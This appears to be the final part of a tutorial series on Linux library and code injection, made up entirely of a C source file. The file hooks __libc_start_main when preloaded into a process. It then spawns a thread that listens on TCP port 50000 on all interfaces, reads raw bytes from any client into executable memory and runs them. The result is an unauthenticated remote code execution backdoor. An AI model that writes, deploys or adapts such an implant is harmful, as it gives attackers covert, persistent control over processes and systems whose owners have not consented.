C Linux C++/C Dll injection + Code Injection Tutorial - Part Four(final)

Code
#include <stdio.h>

#include <dlfcn.h>



#include <stdbool.h>

#include <sys/mman.h>

#include <pthread.h>



#include <stdlib.h>

#include <arpa/inet.h>

#include <strings.h>

#include <string.h>

#include <unistd.h>

#include <errno.h>



#define DEFAULT_PROTOCOL 0

#define PORT 50000



typedef int (*importmain)(int(*)(int,char**,char**),int,char**,void(*)(void),void(*)(void),void(*)(void),void(*));



bool started = false;



void* start_server(void * args)

{

  int listenfd, connfd, val = 1;

  char * ca = NULL;

  struct sockaddr_in servaddr;



  if ((listenfd = socket(AF_INET, SOCK_STREAM, DEFAULT_PROTOCOL)) < 0)

  {

    perror("socket");

    exit(EXIT_FAILURE);

  }



  setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val));



  bzero(&servaddr, sizeof(servaddr));

  servaddr.sin_family = AF_INET;

  servaddr.sin_port = htons(PORT);

  servaddr.sin_addr.s_addr = htonl(INADDR_ANY);



  if ((bind(listenfd, (const struct sockaddr*)&servaddr, sizeof(servaddr))) < 0)

  {

    perror("bind");

    exit(EXIT_FAILURE);

  }



  if ((listen(listenfd, 5)) < 0)

  {

    perror("listen");

    exit(EXIT_FAILURE);

  }



  started = true;



  for ( ;; )

  {

    connfd = accept(listenfd, NULL, NULL);



    posix_memalign((void**)&ca, BUFSIZ, BUFSIZ);

    mprotect(ca, 1, PROT_READ|PROT_WRITE|PROT_EXEC);



    read(connfd, ca, BUFSIZ);



    ((void(*)(void))ca)();



    free(ca);

    ca = NULL;

    close(connfd);

  }



  return (void*)NULL;

}



int __libc_start_main(int(*main)(int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void(*stack_end))

{

  pthread_t a_thread;

  int ans = 0;

  importmain MaiN;

  void * handle = dlopen("/lib64/libc.so.6", RTLD_LAZY);//or you might try "/lib/libc.so.6"



  MaiN = (importmain)dlsym(handle, "__libc_start_main");



  if ( !started )

    pthread_create(&a_thread, NULL, start_server, NULL);



  ans = MaiN(main, argc, ubp_av, init, fini, rtld_fini, stack_end);



  dlclose(handle);



  return ans;

}